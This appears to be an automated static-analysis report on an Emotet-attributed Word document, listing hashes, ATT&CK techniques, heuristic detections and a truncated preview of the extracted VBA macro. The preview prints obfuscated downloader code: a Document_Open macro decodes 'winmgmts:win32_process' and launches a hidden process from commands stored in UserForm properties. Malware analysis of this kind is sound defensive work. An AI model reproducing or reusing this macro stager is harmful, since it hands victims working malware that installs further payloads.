Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f8527e44e6e07be8…

MALICIOUS

Office (OLE)

225.8 KB Created: 2020-08-12 11:00:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3aac68c5c3c018f2c098fa796d1eb19e SHA-1: 62304d28e436c5cc027649c4ec65010e6fae631a SHA-256: f8527e44e6e07be8aac856e628e45248c1b49dbbb5dec3a042fc15a6df6f4e02
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet. The ClamAV detection name further supports this family attribution. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9295747-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9295747-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4214 bytes
SHA-256: d85e8dbd85cf2ae003ddbed044eef30cd4ff2fc14ad7c84102797b6743ffcfa4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RLRNBvqifgcfwoinjbr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
DMQOZjjnpbelmhi.IIRMGdpzirvyhufjg
End Sub


Attribute VB_Name = "DMQOZjjnpbelmhi"
Attribute VB_Base = "0{692346C3-33B4-430D-A4FE-4CBC21393A53}{269B2D19-3126-401D-9E35-2122994A8963}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function IIRMGdpzirvyhufjg()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
XQIIDtovxuwbniriav = DMQOZjjnpbelmhi.Zoom
Dim qalqj4 As Long
STVTGfpgaflezzjvftx = ChrW(XQIIDtovxuwbniriav + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
IHYRWaqlnqme = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + STVTGfpgaflezzjvftx + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + DMQOZjjnpbelmhi.BYGSRlxjczywqnqod + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
BCTYFdnhbbxcvslo = KBXLApistomnulh(IHYRWaqlnqme)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set PYWOBxngfzymuvuhbr = CreateObject(BCTYFdnhbbxcvslo)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
JXKBRgvuqqyibz = DMQOZjjnpbelmhi.IQBARjcwejezyyyes.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
EAZOOxwhshqcfuei = wr3 + (BCTYFdnhbbxcvslo + STVTGfpgaflezzjvftx + DMQOZjjnpbelmhi.KWAEBffcitburpbnl.ControlTipText + JXKBRgvuqqyibz)
Dim wvmmrH As Date
DWUPCjgjjqqvhikpe = EAZOOxwhshqcfuei + DMQOZjjnpbelmhi.BYGSRlxjczywqnqod
Dim MpZWoUV As Currency
Set MIIPArfhjlsuj = CYCEDtpbpmotit(DWUPCjgjjqqvhikpe)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", PYWOBxngfzymuvuhbr. _
Create(XUIBBgdeaqrygh, TIMQKjaeshyyvwctldc, MIIPArfhjlsuj), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function CYCEDtpbpmotit(ZMDHLbjwoixshsnqz)
Set CYCEDtpbpmotit = CreateObject(ZMDHLbjwoixshsnqz)
Dim OyVTtsivo As Byte
CYCEDtpbpmotit. _
showwindow = MEJGGnmxyumpyanmqv + KCTAWxdcnlor
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function KBXLApistomnulh(FUYWLafjdcxazgyni)
JGCAQyxtqvnaaqe = FUYWLafjdcxazgyni
Dim L4áNd6Ámj As Byte
EHATUfxgtbovfbhjcw = Split _
(JGCAQyxtqvnaaqe, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
PWKJKlmcesyetzdo = xz + Join(EHATUfxgtbovfbhjcw, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
KBXLApistomnulh = PWKJKlmcesyetzdo
Dim Iwwp As Double
End Function
Function XUIBBgdeaqrygh()
j = DMQOZjjnpbelmhi.XDVEVzumpghassdpfhb.Pages(vbOK).Tag
Dim mj0Ù As Long
XUIBBgdeaqrygh = KBXLApistomnulh(j)
Dim YB2ÏF4ÛsA 
... (truncated)

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